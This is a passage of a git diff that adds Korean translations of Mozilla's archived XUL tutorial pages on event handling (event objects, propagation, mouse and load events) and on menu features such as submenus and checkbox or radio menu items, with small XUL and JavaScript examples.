+<p>위의 예를 실행시키고 버튼을 클릭하면 세 가지 항목이 있는 메뉴가 펼쳐집니다. 하지만 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code></code>와 달리 항목을 선택해도 버튼의 라벨은 변하지 않습니다. 이런 종류의 버튼은 각 항목마다 스크립트를 지정하여 작업을 수행하게 함으로써 메뉴처럼 사용할 수 있습니다. 메뉴에 대한 더 자세한 내용은 나중에 알아보겠습니다.</p>
+<p>여러분은 <code><a href="ko/XUL/Attribute/button.type">type</a></code> 속성을 <code>menu-button</code>으로 지정하여 메뉴가 있는 버튼을 만들 수 있는데, 이렇게 만들어진 버튼은 위의 버튼과는 모양이 다릅니다. 위 그림의 왼쪽은 'menu'이고 두번째는 'menu-button'을 사용한 것입니다. 둘 다 메뉴를 가리키는 화살표를 가지고 있습니다. 하지만 'menu'를 사용한 버튼은 사용자가 버튼의 아무 곳이나 클릭하면 메뉴가 나타나는 반면 'menu-button'을 사용한 버튼은 사용자가 화살표를 눌러야 메뉴가 나타납니다.</p>
+<p>다음에서는 <a href="ko/XUL_Tutorial/The_Box_Model">XUL 요소가 창내에 배치되는 방법</a>에 대해 좀 더 자세히 알아보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Using_Spacers" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:The_Box_Model">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/more_event_handlers/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/more_event_handlers/index.html
new file mode 100644
index 0000000000..17f4af786a
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/more_event_handlers/index.html
@@ -0,0 +1,140 @@
+---
+title: More Event Handlers
+slug: Mozilla/Tech/XUL/XUL_Tutorial/More_Event_Handlers
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/More_Event_Handlers
+---
+<p> </p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Adding_Event_Handlers" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Keyboard_Shortcuts">다음  »</a></p>
+</div><p></p>
+<p>이번 단원에서는 이벤트 객체에 대해 검토해보고, 추가적인 이벤트들에 대해 설명하겠습니다.</p>
+<h3 id=".EC.9D.B4.EB.B2.A4.ED.8A.B8_.EA.B0.9D.EC.B2.B4" name=".EC.9D.B4.EB.B2.A4.ED.8A.B8_.EA.B0.9D.EC.B2.B4">이벤트 객체</h3>
+<p>각 이벤트 핸들러는 <a href="ko/DOM/event">event</a> 객체가 저장된 하나의 인자를 가집니다. 속성 형식의 이벤트 리스너에서의 이벤트 객체는 명시하지 않더라도 스크립트 코드에서 'event'라는 이름으로 참조할 수 있습니다. <a href="ko/DOM/element.addEventListener">addEventListener</a> 형태일 경우에는 리스너 함수의 첫 번째 인자가 이벤트 객체가 됩니다. 이벤트 객체에는 이벤트가 처리되는 동안 사용할 수 있는 많은 속성이 있습니다. 전체 목록은 <a class="external" href="http://xulplanet.com/references/objref/Event.html">XULPlanet object reference</a>에서 보실 수 있습니다.</p>
+<p>우리는 지난 단원에서 이벤트의 <code><a href="ko/DOM/event.target">target</a></code> 속성에 대해 알아 보았습니다. 이 속성은 이벤트가 발생한 대상 요소에 대한 참조를 가지고 있습니다. 이와 유사한 <code><a href="ko/DOM/event.currentTarget">currentTarget</a></code> 속성은 현재 이벤트 리스너가 처리하고 있는 대상 요소에 대한 참조를 가집니다. 아래 예제에서 <code><a href="ko/DOM/event.target">target</a></code> 속성은 활성화된 버튼이나 체크박스 중 하나에 대한 참조인 반면 <code><a href="ko/DOM/event.currentTarget">currentTarget</a></code> 속성은 항상 vbox가 됩니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_1.xul">View</a></p>
+<pre>&lt;vbox oncommand="alert(event.currentTarget.tagName);"&gt;
+  &lt;button label="OK"/&gt;
+  &lt;checkbox label="Show images"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id=".EC.9D.B4.EB.B2.A4.ED.8A.B8_.EC.A0.84.ED.8C.8C_.EC.A4.91.EC.A7.80" name=".EC.9D.B4.EB.B2.A4.ED.8A.B8_.EC.A0.84.ED.8C.8C_.EC.A4.91.EC.A7.80">이벤트 전파 중지</h4>
+<p>일단 이벤트를 처리하였으면, 이벤트의 전파 단계 중 어디에 있는지에 상관없이, 이벤트의 버블링이나 캡처 단계를 중지하여 다른 요소들로 이벤트가 전파되는 것을 막고자 할때가 있을 것입니다. 이는 이벤트 핸들러를 대상 요소에 어떻게 부착했는지에 따라 그 방법이 달라집니다.</p>
+<p>캡처 단계는 버블링 단계 이전에 발생한다고 했던 것을 기억하세요. 그렇게 때문에 캡처 단계에서 실행되는 리스너는 버블 단계의 리스너보다 먼저 실행됩니다. 만일 캡처 단계에서 이벤트 전파가 중지된다면, 이후에 발생할 수 있는 캡처 리스너나 버블링 리스너는 해당 이벤트에 대해 아무런 알림도 받지 못하게 됩니다. 이벤트 전파를 막기 위해서는 다음 예제와 같이 이벤트 객체의 <code><a href="ko/DOM/event.stopPropagation">stopPropagation</a></code> 메소드를 호출하면 됩니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_2"><a id="%EC%98%88%EC%A0%9C_2"></a><strong>예제 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_2.xul">View</a></p>
+<pre>&lt;hbox id="outerbox"&gt;
+  &lt;button id="okbutton" label="OK"/&gt;
+&lt;/hbox&gt;
+
+&lt;script&gt;
+function buttonPressed(event){
+  alert('Button was pressed!');
+}
+
+function boxPressed(event){
+  alert('Box was pressed!');
+  event.stopPropagation();
+}
+
+var button = document.getElementById("okbutton");
+button.addEventListener('command',buttonPressed,true);
+
+var outerbox = document.getElementById("outerbox");
+outerbox.addEventListener('command',boxPressed,true);
+&lt;/script&gt;
+</pre>
+<p>예제에서, 한 이벤트 리스너는 버튼에 또 다른 이벤트 리스너는 상자에 추가되었습니다. <code><a href="ko/DOM/event.stopPropagation">stopPropagation</a></code> 메소드는 상자의 리스너에서 호출되므로, 버튼의 리스너는 절대 호출되지 않습니다. 만일 이 메소드가 제거되면 모든 리스너가 호출되고 2개의 알림창(alert)이 나타날 것입니다.</p>
+<h4 id=".EA.B8.B0.EB.B3.B8_.ED.96.89.EC.9C.84_.EB.A7.89.EA.B8.B0" name=".EA.B8.B0.EB.B3.B8_.ED.96.89.EC.9C.84_.EB.A7.89.EA.B8.B0">기본 행위 막기</h4>
+<p>어떤 요소에 아무런 이벤트 핸들러도 등록되어 있지 않다면, 캡처와 버블링 단계가 다 끝난후에 내장된(default) 방법으로 이벤트가 처리됩니다. 이 내장된 방법은 이벤트와 대상 요소의 종류에 따라 다릅니다. 예를 들어 'popupshowing' 이벤트는 팝업이 출력되기 전에 전달받는 이벤트이며, 기본(default) 동작은 팝업을 출력하는 것입니다. 만일 기본 동작이 일어나지 않도록 하면, 팝업은 출력되지 않을 것입니다. 기본 동작은 이벤트 객체의 <code><a href="ko/DOM/event.preventDefault">preventDefault</a></code> 메소드로 막을 수 있으며, 아래의 예제와 같습니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_3"><a id="%EC%98%88%EC%A0%9C_3"></a><strong>예제 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_3.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_3.xul">View</a></p>
+<pre>&lt;button label="Types" type="menu"&gt;
+  &lt;menupopup onpopupshowing="event.preventDefault();"&gt;
+    &lt;menuitem label="Glass"/&gt;
+    &lt;menuitem label="Plastic"/&gt;
+  &lt;/menupopup&gt;
+&lt;/button&gt;
+</pre>
+<p>속성 형태로 작성된 이벤트 리스너에서는 해당 코드에서 false값을 반환하도록 해서 기본 행위를 막을 수 있는 방법도 있습니다. 기본 동작을 막는 것은 <code><a href="ko/DOM/event.stopPropagation">stopPropagation</a></code> 메소드로 이벤트 전파를 막는 것과는 다르다는 사실을 알아두세요. 기본 행위가 막혀 있더라도, 이벤트는 계속 진행됩니다. 마찬가지로, <code><a href="ko/DOM/event.stopPropagation">stopPropagation</a></code> 메소드를 호출한다고 해서 기본 동작이 실행되지 않는 것은 아닙니다. 여러분은 두 동작을 모두 실행되지 않게 하기 위해서는 두 메소드 모두 호출해야 합니다.</p>
+<p>일단 이벤트 전파나 기본 동작을 막았다면 다음 이벤트에서도 동일하게 동작할 것입니다.</p>
+<p>다음 단원의 내용은 자주 사용되는 몇가지 이벤트 목록입니다. 전체 목록은 <a class="external" href="http://www.xulplanet.com/references/elemref/ref_EventHandlers.html">XULPlanet event reference</a>를 참조하세요.</p>
+<h3 id=".EB.A7.88.EC.9A.B0.EC.8A.A4_.EC.9D.B4.EB.B2.A4.ED.8A.B8" name=".EB.A7.88.EC.9A.B0.EC.8A.A4_.EC.9D.B4.EB.B2.A4.ED.8A.B8">마우스 이벤트</h3>
+<p>마우스만의 동작을 처리하는데 사용되는 여러가지 이벤트가 있으며, 간략한 설명은 아래와 같습니다.</p>
+<dl>
+ <dt>
+  click </dt>
+ <dd>
+  마우스로 대상 요소를 클릭했을때(버튼을 눌렀다 땔때) 호출됩니다.</dd>
+</dl>
+<dl>
+ <dt>
+  dblclick </dt>
+ <dd>
+  마우스 버튼을 더블클릭했을때 호출됩니다.</dd>
+</dl>
+<dl>
+ <dt>
+  mousedown </dt>
+ <dd>
+  마우스 버튼이 대상 요소에 눌러졌을때 호출됩니다. 이벤트 핸들러는 마우스 버튼이 눌러지면 떨어지지 않더라도 호출됩니다.</dd>
+</dl>
+<dl>
+ <dt>
+  mouseup </dt>
+ <dd>
+  마우스 버튼이 떨어질때 호출됩니다.</dd>
+</dl>
+<dl>
+ <dt>
+  mouseover </dt>
+ <dd>
+  마우스 포인터가 요소위로 움직이면 호출됩니다. 이 이벤트는 요소를 강조(highlight)하기 위해서 사용할 수 있지만, CSS에서 이런 것을 자동으로 처리하므로 이벤트로 처리할 필요는 없습니다. 그래도 상태바에 몇 가지 도움말을 제공하고자 할 때 사용할 수 있습니다.</dd>
+</dl>
+<dl>
+ <dt>
+  mousemove </dt>
+ <dd>
+  마우스 포인터가 요소 위에서 움직이면 호출됩니다. 이 이벤트는 마우스를 움직임에 따라 자주 호출될 수 있기 때문에 긴 시간이 걸리는 작업을 이 핸들러에서 수행하도록 하는 것은 바람직하지 않습니다.</dd>
+</dl>
+<dl>
+ <dt>
+  mouseout </dt>
+ <dd>
+  마우스 포인터가 대상 요소의 밖으로 나갈 때 호출됩니다. 강조된 대상 요소를 원래데로 바꾸거나 상태바의 텍스트를 제거할 때 사용할 수 있습니다.</dd>
+</dl>
+<p>이것들 외에도 드래그와 관련된 이벤트들이 있으며 이는 사용자가 마우스 버튼을 누른 상태에서 주위로 끌 때 발생합니다. 이러한 이벤트들에 대해서는 <a href="ko/Drag_and_Drop">Drag and Drop</a>에서 설명하겠습니다.</p>
+<h4 id=".EB.A7.88.EC.9A.B0.EC.8A.A4_.EB.B2.84.ED.8A.BC_.EC.9D.B4.EB.B2.A4.ED.8A.B8_.EC.86.8D.EC.84.B1" name=".EB.A7.88.EC.9A.B0.EC.8A.A4_.EB.B2.84.ED.8A.BC_.EC.9D.B4.EB.B2.A4.ED.8A.B8_.EC.86.8D.EC.84.B1">마우스 버튼 이벤트 속성</h4>
+<p>마우스 버튼 이벤트가 발생하면, 어떤 마우스 버튼이 눌러졌는지와 마우스 포인터의 위치가 어디인지를 확인할 수 있는 속성을 사용할 수 있습니다. 이벤트의 <code><a href="ko/DOM/event.button">button</a></code> 속성은 어떤 버튼이 눌러졌는지를 나타내는 속성으로, 왼쪽 버튼은 0, 오른쪽 버튼은 1, 가운데 버튼은 2의 값을 가집니다. 마우스의 버튼이 다르게 설정되었다면 값이 달라질 수 있습니다.</p>
+<p><code><a href="ko/DOM/event.detail">detail</a></code> 속성은 버튼이 빠른 시간 내 순차적으로 클릭된 횟수를 저장합니다. 이 속성을 이용해서 한번 클릭인지, 더블 클릭인지 혹은 3회 클릭인지를 확인할 수 있습니다. 물론 더블 클릭만 확인하고자 하면 dblclick 이벤트를 사용할 수 있습니다. click 이벤트가 첫 번째 클릭에 의해 발생하고 두번째 클릭, 세번째 클릭 각각에 대해 이벤트가 발생하지만 dblclick 이벤트는 더블 클릭시 한번만 발생합니다.</p>
+<p><code><a href="ko/DOM/event.button">button</a></code>과 <code><a href="ko/DOM/event.detail">detail</a></code> 속성은 마우스 버튼과 관련된 이벤트에만 해당됩니다. 마우스의 움직임과 관련된 이벤트에서는 해당 속성값이 0으로 설정될 것입니다.</p>
+<h4 id=".EB.A7.88.EC.9A.B0.EC.8A.A4_.EC.9C.84.EC.B9.98_.EA.B4.80.EB.A0.A8_.EC.9D.B4.EB.B2.A4.ED.8A.B8_.EC.86.8D.EC.84.B1" name=".EB.A7.88.EC.9A.B0.EC.8A.A4_.EC.9C.84.EC.B9.98_.EA.B4.80.EB.A0.A8_.EC.9D.B4.EB.B2.A4.ED.8A.B8_.EC.86.8D.EC.84.B1">마우스 위치 관련 이벤트 속성</h4>
+<p>그러나 모든 마우스 이벤트에는 이벤트가 발생한 마우스 위치 좌표를 저장하는 속성이 있습니다. 이 속성에는 두 가지 종류의 좌표가 있습니다. 첫 번째는 <code><a href="ko/DOM/event.screenX">screenX</a></code>와 <code><a href="ko/DOM/event.screenY">screenY</a></code> 속성으로 화면의 좌상단에 상대적인 좌표입니다. 두 번째는 <code><a href="ko/DOM/event.clientX">clientX</a></code>와 <code><a href="ko/DOM/event.clientY">clientY</a></code>로 문서의 좌상단에 상대적인 좌표입니다. 다음은 현재의 마우스 좌표를 출력하는 예제입니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_4"><a id="%EC%98%88%EC%A0%9C_4"></a><strong>예제 4</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_4.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_4.xul">View</a></p>
+<pre>&lt;script&gt;
+
+function updateMouseCoordinates(event){
+  var text = "X:" + event.clientX + " Y:" + event.clientY;
+  document.getElementById("xy").value = text;
+}
+&lt;/script&gt;
+
+&lt;label id="xy"/&gt;
+&lt;hbox width="400" height="400" onmousemove="updateMouseCoordinates(event);"/&gt;
+</pre>
+<p>예제에서는 상자의 크기를 명시적으로 지정했기 때문에 효과를 좀더 쉽게 볼 수 있습니다. 이벤트 핸들러는 <code><a href="ko/DOM/event.clientX">clientX</a></code>와 <code><a href="ko/DOM/event.clientY">clientY</a></code> 속성값을 얻어 문자열을 만들었습니다. 그리고 이 문자열을 라벨의 value 속성에 할당했습니다. <code>updateMouseCoordinates</code> 함수의 인자로 event가 넘어오는 것을 기억하세요. 만일 상자의 경계을 넘어 빠르게 마우스가 이동한다면, 아마 마우스 좌표가 400에 정확히 멈추지 않는 것을 알게 될것입니다. 이것은 mousemove 이벤트가 일정한 간격으로 발생하며, 다음 이벤트가 발생하기 전에 마우스의 위치가 밖으로 빠져나갔기 때문입니다. 당연히 마우스가 움직이는 매 픽셀마다 mousemove 이벤트가 전송된다면 너무 비효율적일 것입니다.</p>
+<h4 id=".EC.9A.94.EC.86.8C.EC.97.90_.EC.83.81.EB.8C.80.EC.A0.81.EC.9D.B8_.EC.A2.8C.ED.91.9C" name=".EC.9A.94.EC.86.8C.EC.97.90_.EC.83.81.EB.8C.80.EC.A0.81.EC.9D.B8_.EC.A2.8C.ED.91.9C">요소에 상대적인 좌표</h4>
+<p>여러분은 전체 창이 아닌 이벤트가 발생한 요소에 상대적인 좌표(요소 내에서의 좌표)를 얻고자 할때가 있을 것입니다. 이는 이벤트의 위치에서 요소의 위치를 빼주면 얻을 수 있으며 코드는 다음과 같습니다.</p>
+<pre>var element = event.target;
+var elementX = event.clientX - element.boxObject.x;
+var elementY = event.clientY - element.boxObject.y;
+</pre>
+<p>XUL 요소들에는 <code><code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/boxObject">boxObject</a></span></code></code>라는 속성을 사용해서 얻을 수 있는 상자 객체가 있습니다. 상자 객체에 대해서는 <a href="ko/XUL_Tutorial/Box_Objects">이후 단원</a>에서 배우겠지만, 간단히 말해서 이 객체는 요소가 출력되는 방법에 대한 정보(요소의 x, y 좌표등)를 가지고 있다고 보면 됩니다. 예제 코드에서는 요소 기준의 이벤트 좌표를 얻기 위해 이벤트 좌표에서 상자 객체의 좌표를 뺐습니다.</p>
+<h3 id=".EB.A1.9C.EB.93.9C.28load.29_.EC.9D.B4.EB.B2.A4.ED.8A.B8" name=".EB.A1.9C.EB.93.9C.28load.29_.EC.9D.B4.EB.B2.A4.ED.8A.B8">로드(load) 이벤트</h3>
+<p>로드 이벤트는 XUL 파일의 로딩이 완료되고 내용이 출력되기 직전에 문서(<code><code><a href="/ko/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code> 태그)로 전송됩니다. 이 이벤트는 일반적으로 변수들을 초기화하고 사용자가 창을 사용할 수 있기 전에 해야 할 일들을 처리하는데 사용됩니다. 여러분은 이러한 초기화 작업을 함수 외부의 최상위 레벨 스크립트로 처리하는 것보다는 로드 이벤트를 사용하는 것이 좋습니다. 이것은 XUL 요소들이 로드되지 않았거나 초기화되지 않았을수도 있기 때문이며, 따라서 어떤 것들은 원하는데로 동작하지 않을 수 있습니다. 로드 이벤트를 사용하려면 window 태그에 onload 속성을 넣으면 됩니다. 초기화를 필요로 하는 것들은 로드 이벤트 핸들러에서 호출하세요.</p>
+<p>또한 창이 닫힐 때 혹은 브라우저의 관점에서는 페이지가 다른 URL로 넘어갈 때 발생하는 언로드(unload) 이벤트가 있습니다. 이 이벤트는 창이 닫히기 전 변경된 정보를 저장하는 것과 같은 용도로 사용할 수 있습니다.</p>
+<p>다음에는 <a href="ko/XUL_Tutorial/Keyboard_Shortcuts">단축키</a>를 추가하는 방법에 대해 알아보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Adding_Event_Handlers" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Keyboard_Shortcuts">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/more_menu_features/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/more_menu_features/index.html
new file mode 100644
index 0000000000..897dbaa148
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/more_menu_features/index.html
@@ -0,0 +1,109 @@
+---
+title: More Menu Features
+slug: Mozilla/Tech/XUL/XUL_Tutorial/More_Menu_Features
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/More_Menu_Features
+---
+<p> </p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Simple_Menu_Bars" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Popup_Menus">다음  »</a></p>
+</div><p></p>
+<p>이번 단원에서는 하위 메뉴와 체크 메뉴를 만드는 방법을 알아 보겠습니다.</p>
+<h3 id=".ED.95.98.EC.9C.84_.EB.A9.94.EB.89.B4_.EB.A7.8C.EB.93.A4.EA.B8.B0" name=".ED.95.98.EC.9C.84_.EB.A9.94.EB.89.B4_.EB.A7.8C.EB.93.A4.EA.B8.B0">하위 메뉴 만들기</h3>
+<p>여러분은 기존에 있는 요소들을 사용하여 다른 메뉴 내에 있는 서브메뉴(중첩 메뉴)를 만들 수 있습니다. <code>menupopup</code>안에는 어떤 요소든 넣을 수 있다는 것을 기억해보세요. 지난 단원에서는 <code>menupopup</code>안에 <code>menuitem</code>과 <code>menuseparator</code>를 넣는 방법을 알아 보았습니다. 그러나 여러분은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code> 요소내에 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code></code>를 넣기만 하면 하위 메뉴를 만들 수 있습니다. 이것은 <code>menu</code> 요소가 꼭 메뉴바의 바로 아래에 있지 않더라도 유효한 것이기 때문에 동작하게 됩니다. 아래는 File 메뉴내에 간단한 하위 메뉴가 존재하는 예제입니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advmenu_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advmenu_1.xul">View</a></p>
+<div class="float-right">
+ <img alt="Image:menubar-ex3.png"></div>
+<pre>&lt;toolbox flex="1"&gt;
+  &lt;menubar id="sample-menubar"&gt;
+    &lt;menu id="file-menu" label="File"&gt;
+      &lt;menupopup id="file-popup"&gt;
+        &lt;menu id="new-menu" label="New"&gt;
+          &lt;menupopup id="new-popup"&gt;
+            &lt;menuitem label="Window"/&gt;
+            &lt;menuitem label="Message"/&gt;
+          &lt;/menupopup&gt;
+        &lt;/menu&gt;
+        &lt;menuitem label="Open"/&gt;
+        &lt;menuitem label="Save"/&gt;
+        &lt;menuseparator/&gt;
+        &lt;menuitem label="Exit"/&gt;
+      &lt;/menupopup&gt;
+    &lt;/menu&gt;
+  &lt;/menubar&gt;
+&lt;/toolbox&gt;
+</pre>
+<div class="highlight">
+ <h3 id=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C.EC.97.90_.EB.A9.94.EB.89.B4_.EC.B6.94.EA.B0.80.ED.95.98.EA.B8.B0" name=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C.EC.97.90_.EB.A9.94.EB.89.B4_.EC.B6.94.EA.B0.80.ED.95.98.EA.B8.B0">우리의 파일 찾기 예제에 메뉴 추가하기</h3>
+ <p>이제 파일 찾기 대화창에 메뉴를 넣어 봅시다. 우리는 File 메뉴와 Edit 메뉴에 간단한 명령 몇 가지를 넣을 것입니다. 이 방법은 위의 예제와 비슷합니다.</p>
+ <pre class="eval">&lt;toolbox&gt;
+
+ <span class="highlightred">&lt;menubar id="findfiles-menubar"&gt;
+  &lt;menu id="file-menu" label="File" accesskey="f"&gt;
+    &lt;menupopup id="file-popup"&gt;
+      &lt;menuitem label="Open Search..." accesskey="o"/&gt;
+      &lt;menuitem label="Save Search..." accesskey="s"/&gt;
+      &lt;menuseparator/&gt;
+      &lt;menuitem label="Close" accesskey="c"/&gt;
+    &lt;/menupopup&gt;
+  &lt;/menu&gt;
+  &lt;menu id="edit-menu" label="Edit" accesskey="e"&gt;
+    &lt;menupopup id="edit-popup"&gt;
+      &lt;menuitem label="Cut" accesskey="t"/&gt;
+      &lt;menuitem label="Copy" accesskey="c"/&gt;
+      &lt;menuitem label="Paste" accesskey="p" disabled="true"/&gt;
+    &lt;/menupopup&gt;
+  &lt;/menu&gt;
+ &lt;/menubar&gt;</span>
+
+&lt;toolbar id="findfiles-toolbar&gt;
+</pre>
+ <div class="float-right">
+  <img alt="Image:menubar1.png"></div>
+ <p>여기서 여러개의 명령을 가진 두 개의 메뉴를 만들었습니다. 툴박스 내에 어떻게 메뉴바가 추가되었는지를 유심히 보세요. Open Search와 Save Search 뒤에 불은 세 개의 점은 사용자가 해당 명령을 선택할 때 대화창이 열릴것이라는 것을 알려주는 일반적인 방법입니다. 각 메뉴와 메뉴 항목에는 접근글쇠(Access key)가 지정되어 있습니다. 그림을 보면 지정된 글자가 메뉴 제목에 밑줄로 표시된 것을 알 수 있습니다. 또 붙이기(Paste) 명령은 현재 사용불가 상태입니다. 우리는 아무 것도 붙일 것이 없다고 가정할 것입니다.</p>
+ <p><span id="%EC%A7%80%EA%B8%88%EA%B9%8C%EC%A7%80%EC%9D%98_%ED%8C%8C%EC%9D%BC_%EC%B0%BE%EA%B8%B0_%EC%98%88%EC%A0%9C"><a id="%EC%A7%80%EA%B8%88%EA%B9%8C%EC%A7%80%EC%9D%98_%ED%8C%8C%EC%9D%BC_%EC%B0%BE%EA%B8%B0_%EC%98%88%EC%A0%9C"></a><strong>지금까지의 파일 찾기 예제</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-advmenu.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-advmenu.xul">View</a></p>
+</div>
+<h3 id=".EB.A9.94.EB.89.B4.EC.97.90_.EC.B2.B4.ED.81.AC_.ED.91.9C.EC.8B.9C_.EB.84.A3.EA.B8.B0" name=".EB.A9.94.EB.89.B4.EC.97.90_.EC.B2.B4.ED.81.AC_.ED.91.9C.EC.8B.9C_.EB.84.A3.EA.B8.B0">메뉴에 체크 표시 넣기</h3>
+<p>많은 프로그램들에서는 체크할 수 있는 메뉴를 사용합니다. 예를 들어 현재 사용하고 있는 기능은 명령 옆에 체크가 있고 그렇지 않은 기능은 체크가 없는 메뉴 같은 것입니다. 사용자가 메뉴를 선택하면 체크 상태가 바뀝니다. 또 메뉴 항목에 라디오 버튼을 넣고 싶을 때도 있을 것입니다.</p>
+<p>체크 메뉴를 만드는 방법은 <code><a href="/ko/docs/Mozilla/Tech/XUL/checkbox" title="checkbox">checkbox</a></code>와 <code><a href="/ko/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code>를 만드는 방법과 비슷합니다. 이를 위해서는 두 개의 속성이 필요한데, <code><a href="ko/XUL/Attribute/button.type">type</a></code> 속성은 체크의 형식을 지정할 때, <code><a href="ko/XUL/Attribute/menuitem.name">name</a></code> 속성은 관련된 명령을 하나로 묶을 때 사용합니다. 아래는 체크 항목을 가진 메뉴를 만드는 예제입니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_2"><a id="%EC%98%88%EC%A0%9C_2"></a><strong>예제 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advmenu_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advmenu_2.xul">View</a></p>
+<pre>&lt;toolbox&gt;
+  &lt;menubar id="options-menubar"&gt;
+    &lt;menu id="options_menu" label="Options"&gt;
+      &lt;menupopup&gt;
+        &lt;menuitem label="Make Backups" type="checkbox"/&gt;
+        &lt;menuitem label="Email Administrator" type="checkbox" checked="true"/&gt;
+      &lt;/menupopup&gt;
+    &lt;/menu&gt;
+  &lt;/menubar&gt;
+&lt;/toolbox&gt;
+</pre>
+<p>메뉴 항목이 체크될 수 있도록 <code><a href="ko/XUL/Attribute/button.type">type</a></code> 속성이 추가되었습니다. 해당 속성값을 <code>checkbox</code>로 설정하면 메뉴 항목을 클릭할 때마다 체크가 설정/해제됩니다.</p>
+<h4 id=".EB.9D.BC.EB.94.94.EC.98.A4.EB.B2.84.ED.8A.BC.EC.9D.B4_.EC.9E.88.EB.8A.94_.EB.A9.94.EB.89.B4" name=".EB.9D.BC.EB.94.94.EC.98.A4.EB.B2.84.ED.8A.BC.EC.9D.B4_.EC.9E.88.EB.8A.94_.EB.A9.94.EB.89.B4">라디오버튼이 있는 메뉴</h4>
+<p>일반 체크 외에도 <code><a href="ko/XUL/Attribute/button.type">type</a></code> 속성의 값을 <code>radio</code>로 지정하면 라디오 형식의 체크를 만들 수 있습니다. 라디오 체크는 한 그룹의 메뉴 항목 중 하나만 선택할 수 있도록 만들 때 사용됩니다. 예를 들면 한번에 하나의 글꼴만 선택할 수 있는 글꼴 메뉴 같은 것입니다. 이 때 다른 항목이 선택되면 이전에 선택되었던 항목은 체크가 해제됩니다.</p>
+<p>여러 개의 메뉴 항목을 하나의 그룹으로 묶을 때는 각 메뉴 항목의 <code><a href="ko/XUL/Attribute/menuitem.name">name</a></code> 속성을 같은 값으로 지정하면 됩니다. 아래 예제를 보겠습니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_3"><a id="%EC%98%88%EC%A0%9C_3"></a><strong>예제 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advmenu_3.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advmenu_3.xul">View</a></p>
+<pre>&lt;toolbox&gt;
+  &lt;menubar id="planets-menubar"&gt;
+    &lt;menu id="planet-menu" label="Planet"&gt;
+      &lt;menupopup&gt;
+        &lt;menuitem id="jupiter" label="Jupiter" type="radio" name="ringed"/&gt;
+        &lt;menuitem id="saturn" label="Saturn" type="radio" name="ringed" checked="true"/&gt;
+        &lt;menuitem id="uranus" label="Uranus" type="radio" name="ringed"/&gt;
+        &lt;menuseparator/&gt;
+        &lt;menuitem id="earth" label="Earth" type="radio" name="inhabited" checked="true"/&gt;
+        &lt;menuitem id="moon" label="Moon" type="radio" name="inhabited"/&gt;
+      &lt;/menupopup&gt;
+    &lt;/menu&gt;
+  &lt;/menubar&gt;
+&lt;/toolbox&gt;
+</pre>
